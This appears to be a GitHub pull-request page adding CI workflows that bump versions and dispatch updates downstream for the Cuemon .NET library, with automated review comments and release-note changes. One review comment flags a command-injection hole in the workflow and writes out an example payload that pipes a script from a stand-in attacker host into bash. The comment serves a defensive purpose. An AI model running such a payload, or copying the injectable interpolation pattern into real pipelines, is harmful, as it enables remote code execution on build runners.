Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions .github/dispatch-targets.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[
"xunit"
]
139 changes: 139 additions & 0 deletions .github/workflows/service-update.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,139 @@
name: Service Update

on:
repository_dispatch:
types: [codebelt-service-update]
workflow_dispatch:
inputs:
source_repo:
description: 'Triggering source repo name (e.g. cuemon)'
required: false
default: ''
source_version:
description: 'Version released by source (e.g. 10.3.0)'
required: false
default: ''
dry_run:
type: boolean
description: 'Dry run — show changes but do not commit or open PR'
default: false

permissions:
contents: write
pull-requests: write

jobs:
service-update:
runs-on: ubuntu-24.04

steps:
- name: Checkout
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Resolve trigger inputs
id: trigger
run: |
SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
echo "source=$SOURCE" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> $GITHUB_OUTPUT
Comment on lines +38 to +41
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

find . -name "service-update.yml" -type f

Repository: codebeltnet/cuemon

Length of output: 100


🏁 Script executed:

cat -n .github/workflows/service-update.yml | head -120

Repository: codebeltnet/cuemon

Length of output: 5432


🌐 Web query:

GitHub Actions command injection vulnerability context expressions shell interpolation security

💡 Result:

GitHub Actions “command injection” most commonly happens when untrusted data from a GitHub context (issue/PR title/body, branch names, commit messages, etc.) is inserted directly into a run: script via an expression (${{ ... }}).

Why it happens (context expressions + shell interpolation)

  1. GitHub evaluates ${{ ... }} first (server-side / runner-prep), before your step runs.
  2. The evaluated value is spliced into a temporary script file that is then executed by the step’s shell (bash, pwsh, etc.).
  3. If the context value contains shell metacharacters (e.g., $(...), "; ...), it can break out of the intended string and execute attacker-controlled commands. (docs.github.com)

Example vulnerable pattern:

- run: echo "${{ github.event.issue.title }}"

If an attacker controls the issue title, they can inject something like $(touch pwned.txt) and it becomes executable after expression expansion. (github.blog)

GitHub explicitly calls out many github.* fields as potentially attacker-controlled (often ending in title, body, message, name, ref, etc.). (docs.github.com)

Safer pattern (break the “expression → script text” link)

Put untrusted expression results into env: (or with: inputs) and then reference normal shell variables. This keeps the untrusted value from rewriting your script text during expression expansion. (securitylab.github.com)

- name: Print title safely
  env:
    TITLE: ${{ github.event.issue.title }}
  run: |
    echo "$TITLE"

(securitylab.github.com)

Practical security takeaways

  • Treat event payload data (github.event.*) as untrusted input and avoid embedding it directly inside run: lines via ${{ }}. (docs.github.com)
  • Prefer env: indirection + normal shell quoting over expression-in-command construction. (securitylab.github.com)
  • Use GitHub’s recommended workflow-hardening practices (including handling untrusted input and tightening permissions) to reduce blast radius if something slips through. (github.blog)

Citations:


Command injection via direct ${{ }} interpolation into shell scripts.

GitHub Actions evaluates ${{ ... }} expressions on the runner and injects the result into the script file before the shell executes it. In bash, command substitution ($()) inside double quotes is evaluated by the shell—so a user with write access can provide a source_repo or source_version value like $(curl https://attacker.example/payload | bash) and have it execute in the runner.

The same pattern reappears at lines 109–112 for SOURCE and SRC_VER.

Proposed fix — use env: instead of direct interpolation
       - name: Resolve trigger inputs
         id: trigger
         run: |
-          SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
-          VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
           echo "source=$SOURCE"   >> $GITHUB_OUTPUT
           echo "version=$VERSION" >> $GITHUB_OUTPUT
+        env:
+          SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}
+          VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}

Apply the same pattern to the Create branch and open PR step (lines 109–112):

         env:
           GH_TOKEN: ${{ steps.app-token.outputs.token }}
+          _SOURCE:  ${{ steps.trigger.outputs.source }}
+          _SRC_VER: ${{ steps.trigger.outputs.version }}
         run: |
           NEW="${{ steps.newver.outputs.new }}"
           BRANCH="${{ steps.newver.outputs.branch }}"
-          SOURCE="${{ steps.trigger.outputs.source }}"
-          SRC_VER="${{ steps.trigger.outputs.version }}"
+          SOURCE="$_SOURCE"
+          SRC_VER="$_SRC_VER"
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/service-update.yml around lines 38 - 41, The workflow
currently injects untrusted values via direct `${{ ... }}` interpolation into
shell scripts (variables SOURCE, VERSION and later SRC_VER), enabling command
injection; fix by moving those expression evaluations into the step's env: map
(or use step inputs) so the shell reads them only from environment variables
(e.g., set SOURCE and VERSION in env: using `${{ github.event... }}`) and then
reference them in the script as plain shell variables (`$SOURCE`, `$VERSION`),
applying the same change for the "Create branch and open PR" step
(SRC_VER/SOURCE) to eliminate direct interpolation into the script body.


- name: Determine new version for this repo
id: newver
run: |
CURRENT=$(grep -oP '(?<=## \[)[\d.]+(?=\])' CHANGELOG.md | head -1)
NEW=$(echo "$CURRENT" | awk -F. '{printf "%s.%s.%d", $1, $2, $3+1}')
BRANCH="v${NEW}/service-update"
echo "current=$CURRENT" >> $GITHUB_OUTPUT
echo "new=$NEW" >> $GITHUB_OUTPUT
echo "branch=$BRANCH" >> $GITHUB_OUTPUT

- name: Generate codebelt-aicia token
id: app-token
uses: actions/create-github-app-token@v1
with:
app-id: ${{ vars.CODEBELT_AICIA_APP_ID }}
private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }}
owner: codebeltnet

- name: Bump NuGet packages
run: python3 .github/scripts/bump-nuget.py
env:
TRIGGER_SOURCE: ${{ steps.trigger.outputs.source }}
TRIGGER_VERSION: ${{ steps.trigger.outputs.version }}

Comment on lines +61 to +66
Copy link

Copilot AI Feb 19, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The workflow calls python3 .github/scripts/bump-nuget.py, but the repository does not contain .github/scripts/bump-nuget.py (and .github/scripts/ does not exist). This step will fail at runtime; either add the script (and directory) to the repo or update the workflow to point at the correct existing script path.

Copilot uses AI. Check for mistakes.
- name: Update PackageReleaseNotes.txt
run: |
NEW="${{ steps.newver.outputs.new }}"
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
Copy link

Copilot AI Feb 19, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TFM=$(grep ... | sed ... || echo ...) will not fall back as intended because the grep | sed pipeline typically exits with the status of sed, even when grep finds no match; this can yield an empty TFM and produce malformed release-note headers. Consider explicitly checking for an empty TFM (or enable set -o pipefail) before applying the default value.

Suggested change
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
if [ -z "$TFM" ]; then
TFM=".NET 10, .NET 9 and .NET Standard 2.0"
fi

Copilot uses AI. Check for mistakes.
ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
Copy link

Copilot AI Feb 19, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The release-notes header template uses Version ${NEW} (without a colon). Existing PackageReleaseNotes.txt files use Version: for the current and immediately previous release entries, so this workflow will generate release notes that deviate from the established format. Update the template to emit Version: ${NEW} (and preserve the Version/Version: convention used in the .nuget/*/PackageReleaseNotes.txt files).

Suggested change
ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"

Copilot uses AI. Check for mistakes.
{ printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f"
done
Comment on lines +67 to +75
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Two bugs in PackageReleaseNotes.txt entry generation.

1 — Missing colon (Version:) — Line 73 emits Version ${NEW} but all existing entries use Version: X.Y.Z. After this workflow runs, the file will have inconsistently formatted headers, which may break any tooling that parses them by pattern.

2 — TFM fallback never triggers — The pipeline grep -m1 | sed || echo fallback uses sed's exit code (always 0, even on empty input) as the pipeline result, not grep's. When no Availability: line exists, TFM silently becomes an empty string, producing a malformed entry (Availability: ).

🛠️ Proposed fix
-          TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
-          ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
+          TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') 
+          TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"
+          ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"

Using the bash parameter expansion ${TFM:-default} correctly falls back when TFM is empty regardless of pipeline exit codes.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Update PackageReleaseNotes.txt
run: |
NEW="${{ steps.newver.outputs.new }}"
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
{ printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f"
done
- name: Update PackageReleaseNotes.txt
run: |
NEW="${{ steps.newver.outputs.new }}"
for f in .nuget/*/PackageReleaseNotes.txt; do
[ -f "$f" ] || continue
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"
ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
{ printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f"
done
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/service-update.yml around lines 67 - 75, The workflow
writes a malformed header because the ENTRY string uses "Version ${NEW}" instead
of "Version: ${NEW}" and the TFM fallback never triggers because the pipeline
(grep -m1 "^Availability:" | sed 's/Availability: //') can yield an empty
string; fix by changing ENTRY to include the colon ("Version: ${NEW}") and
compute TFM from the grep+sed output but apply a Bash fallback like ${TFM:-".NET
10, .NET 9 and .NET Standard 2.0"} so an empty value is replaced; update the TFM
assignment that currently uses TFM=$(grep -m1 "^Availability:" "$f" | sed
's/Availability: //' || echo "...") to capture the pipeline output then use
parameter expansion for the default.


- name: Update CHANGELOG.md
run: |
python3 - <<'EOF'
import os, re
from datetime import date
new_ver = os.environ['NEW_VERSION']
today = date.today().isoformat()
entry = f"## [{new_ver}] - {today}\n\nThis is a service update that focuses on package dependencies.\n\n"
with open("CHANGELOG.md") as f:
content = f.read()
idx = content.find("## [")
content = (content[:idx] + entry + content[idx:]) if idx != -1 else (content + entry)
with open("CHANGELOG.md", "w") as f:
f.write(content)
print(f"CHANGELOG updated for v{new_ver}")
EOF
env:
NEW_VERSION: ${{ steps.newver.outputs.new }}

# Note: Docker image bumps removed in favor of manual updates
# The automated selection was picking wrong variants (e.g., mono-* instead of standard)
# TODO: Move to hosted service for smarter image selection

- name: Show diff (dry run)
if: ${{ github.event.inputs.dry_run == 'true' }}
run: git diff

- name: Create branch and open PR
if: ${{ github.event.inputs.dry_run != 'true' }}
env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
run: |
NEW="${{ steps.newver.outputs.new }}"
BRANCH="${{ steps.newver.outputs.branch }}"
SOURCE="${{ steps.trigger.outputs.source }}"
SRC_VER="${{ steps.trigger.outputs.version }}"

git config user.name "codebelt-aicia[bot]"
git config user.email "codebelt-aicia[bot]@users.noreply.github.com"
git checkout -b "$BRANCH"
git add -A
git diff --cached --quiet && echo "Nothing changed - skipping PR." && exit 0
git commit -m "V${NEW}/service update"
git push origin "$BRANCH"

echo "This is a service update that focuses on package dependencies." > pr_body.txt
echo "" >> pr_body.txt
echo "Automated changes:" >> pr_body.txt
echo "- Codebelt/Cuemon package versions bumped to latest compatible" >> pr_body.txt
echo "- PackageReleaseNotes.txt updated for v${NEW}" >> pr_body.txt
echo "- CHANGELOG.md entry added for v${NEW}" >> pr_body.txt
echo "" >> pr_body.txt
echo "Note: Third-party packages (Microsoft.Extensions.*, BenchmarkDotNet, etc.) are not auto-updated." >> pr_body.txt
echo "Use Dependabot or manual updates for those." >> pr_body.txt
echo "" >> pr_body.txt
echo "Generated by codebelt-aicia" >> pr_body.txt
if [ -n "$SOURCE" ] && [ -n "$SRC_VER" ]; then
echo "Triggered by: ${SOURCE} @ ${SRC_VER}" >> pr_body.txt
else
echo "Triggered by: manual workflow dispatch" >> pr_body.txt
fi

gh pr create --title "V${NEW}/service update" --body-file pr_body.txt --base main --head "$BRANCH" --assignee gimlichael
78 changes: 78 additions & 0 deletions .github/workflows/trigger-downstream.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
name: Trigger Downstream Service Updates

on:
release:
types: [published]

jobs:
dispatch:
if: github.event.release.prerelease == false
runs-on: ubuntu-24.04
permissions:
contents: read

steps:
- name: Checkout (to read dispatch-targets.json)
uses: actions/checkout@v4

- name: Check for dispatch targets
id: check
run: |
if [ ! -f .github/dispatch-targets.json ]; then
echo "No dispatch-targets.json found, skipping."
echo "has_targets=false" >> $GITHUB_OUTPUT
exit 0
fi
COUNT=$(python3 -c "import json; print(len(json.load(open('.github/dispatch-targets.json'))))")
echo "has_targets=$([ $COUNT -gt 0 ] && echo true || echo false)" >> $GITHUB_OUTPUT

- name: Extract version from release tag
if: steps.check.outputs.has_targets == 'true'
id: version
run: |
VERSION="${{ github.event.release.tag_name }}"
VERSION="${VERSION#v}"
echo "version=$VERSION" >> $GITHUB_OUTPUT

- name: Generate codebelt-aicia token
if: steps.check.outputs.has_targets == 'true'
id: app-token
uses: actions/create-github-app-token@v1
with:
app-id: ${{ vars.CODEBELT_AICIA_APP_ID }}
private-key: ${{ secrets.CODEBELT_AICIA_PRIVATE_KEY }}
owner: codebeltnet

- name: Dispatch to downstream repos
if: steps.check.outputs.has_targets == 'true'
run: |
python3 - <<'EOF'
import json, urllib.request, os, sys

targets = json.load(open('.github/dispatch-targets.json'))
token = os.environ['GH_TOKEN']
version = os.environ['VERSION']
source = os.environ['SOURCE_REPO']

for repo in targets:
url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
payload = json.dumps({
'event_type': 'codebelt-service-update',
'client_payload': {
'source_repo': source,
'source_version': version
}
}).encode()
req = urllib.request.Request(url, data=payload, method='POST', headers={
'Authorization': f'Bearer {token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
'X-GitHub-Api-Version': '2022-11-28'
})
with urllib.request.urlopen(req) as r:
print(f'✓ Dispatched to {repo}: HTTP {r.status}')
EOF
Comment on lines +57 to +74
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

A single failed dispatch silently aborts all remaining targets.

urllib.request.urlopen raises urllib.error.HTTPError on any 4xx/5xx response. With no try/except, a transient error (rate limit, wrong repo name, misconfigured App permissions) on any entry terminates the loop mid-flight, leaving subsequent downstream repos without the dispatch event. Also, sys is imported but never used.

🛠️ Proposed fix
-          import json, urllib.request, os, sys
+          import json, urllib.request, urllib.error, os

           targets = json.load(open('.github/dispatch-targets.json'))
           token   = os.environ['GH_TOKEN']
           version = os.environ['VERSION']
           source  = os.environ['SOURCE_REPO']
+          errors  = []

           for repo in targets:
               url     = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
               payload = json.dumps({
                   'event_type': 'codebelt-service-update',
                   'client_payload': {
                       'source_repo':    source,
                       'source_version': version
                   }
               }).encode()
               req = urllib.request.Request(url, data=payload, method='POST', headers={
                   'Authorization':  f'Bearer {token}',
                   'Accept':         'application/vnd.github+json',
                   'Content-Type':   'application/json',
                   'X-GitHub-Api-Version': '2022-11-28'
               })
-              with urllib.request.urlopen(req) as r:
-                  print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+              try:
+                  with urllib.request.urlopen(req) as r:
+                      print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+              except urllib.error.HTTPError as e:
+                  print(f'✗ Failed to dispatch to {repo}: HTTP {e.code} {e.reason}', flush=True)
+                  errors.append(repo)
+          if errors:
+              raise SystemExit(f'Dispatch failed for: {", ".join(errors)}')
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/trigger-downstream.yml around lines 57 - 74, The loop that
calls urllib.request.urlopen inside for repo in targets can raise
urllib.error.HTTPError and currently will abort the entire loop; wrap the
urlopen call (and the request creation if you prefer) in a try/except that
catches urllib.error.HTTPError (and Exception as a fallback), log or print the
failure including repo and error details, and continue to the next repo so one
failure doesn't stop processing; also remove the unused sys import (or use it if
intended) to clean up the module.

env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
VERSION: ${{ steps.version.outputs.version }}
SOURCE_REPO: ${{ github.event.repository.name }}
6 changes: 6 additions & 0 deletions .nuget/Cuemon.AspNetCore.App/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
6 changes: 6 additions & 0 deletions .nuget/Cuemon.AspNetCore.Mvc/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
6 changes: 6 additions & 0 deletions .nuget/Cuemon.AspNetCore/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
6 changes: 6 additions & 0 deletions .nuget/Cuemon.Core.App/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10, .NET 9 and .NET Standard 2.0

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10, .NET 9 and .NET Standard 2.0

Expand Down
21 changes: 20 additions & 1 deletion .nuget/Cuemon.Core/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,22 @@
Version: 10.3.0
Availability: .NET 10, .NET 9 and .NET Standard 2.0

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

# New Features
- ADDED AssemblyContext class in the Cuemon.Reflection namespace that provides filtered discovery of assemblies in the current application domain, with optional traversal of referenced assemblies
- ADDED AssemblyContextOptions class in the Cuemon.Reflection namespace that provides configuration options for AssemblyContext filtering and traversal
- ADDED StackDecoratorExtensions class in the Cuemon.Collections.Generic namespace with TryPop extension method for IDecorator<Stack{T}>
- ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

ADDED should be EXTENDED for the pre-existing Patterns class.

The Patterns class already existed in prior releases (10.1.0 Bug Fixes, 9.0.0 Breaking Changes, etc.). Describing it as ADDED implies the class itself is new.

📝 Proposed fix
-  - ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException
+  - EXTENDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException

As per coding guidelines, .nuget/**/*.txt files must accurately document public API changes.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException
- EXTENDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.nuget/Cuemon.Core/PackageReleaseNotes.txt at line 11, Update the release
note entry that currently reads "ADDED Patterns class in the Cuemon namespace
with two new methods: IsFatalException and IsRecoverableException" to use the
correct change type "EXTENDED" since the Patterns class pre-exists;
specifically, edit the text referencing the Patterns class and its two new
methods (IsFatalException and IsRecoverableException) so it reads e.g. "EXTENDED
Patterns class in the Cuemon namespace with two new methods: IsFatalException
and IsRecoverableException" to accurately reflect an extension rather than an
addition.


# Improvements
- CHANGED Patterns class in the Cuemon namespace so TryInvoke overloads apply exception filters via IsFatalException and IsRecoverableException
- CHANGED World class in the Cuemon.Globalization namespace where StatisticalRegions now returns IEnumerable<StatisticalRegionInfo>

# Bug Fixes
- FIXED AssemblyContextOptions class in the Cuemon.Reflection namespace to safely handle recoverable reflection exceptions while inspecting exported types

Version: 10.2.1
Availability: .NET 10, .NET 9 and .NET Standard 2.0

Expand Down Expand Up @@ -203,4 +222,4 @@ Availability: .NET 9, .NET 8 and .NET Standard 2.0
- EXTENDED Validator class in the Cuemon namespace with five new methods: ThrowIfContainsReservedKeyword, ThrowIfNotDifferent, ThrowIfDifferent, ThrowIfContainsAny and ThrowIfNotContainsAny
- CHANGED Validator class in the Cuemon namespace to comply with RSPEC-3343
- EXTENDED Decorator class in the Cuemon namespace with an additional method: RawEnclose


6 changes: 6 additions & 0 deletions .nuget/Cuemon.Data.Integrity/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10, .NET 9 and .NET Standard 2.0

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10, .NET 9 and .NET Standard 2.0

Expand Down
6 changes: 6 additions & 0 deletions .nuget/Cuemon.Data.SqlClient/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10, .NET 9 and .NET Standard 2.0

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10, .NET 9 and .NET Standard 2.0

Expand Down
6 changes: 6 additions & 0 deletions .nuget/Cuemon.Data/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10, .NET 9 and .NET Standard 2.0

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10, .NET 9 and .NET Standard 2.0

Expand Down
6 changes: 6 additions & 0 deletions .nuget/Cuemon.Diagnostics/PackageReleaseNotes.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10, .NET 9 and .NET Standard 2.0

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10, .NET 9 and .NET Standard 2.0

Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
Original file line number Diff line number Diff line change
@@ -1,3 +1,9 @@
Version: 10.3.0
Availability: .NET 10 and .NET 9

# ALM
- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)

Version: 10.2.1
Availability: .NET 10 and .NET 9

Expand Down
Loading
Loading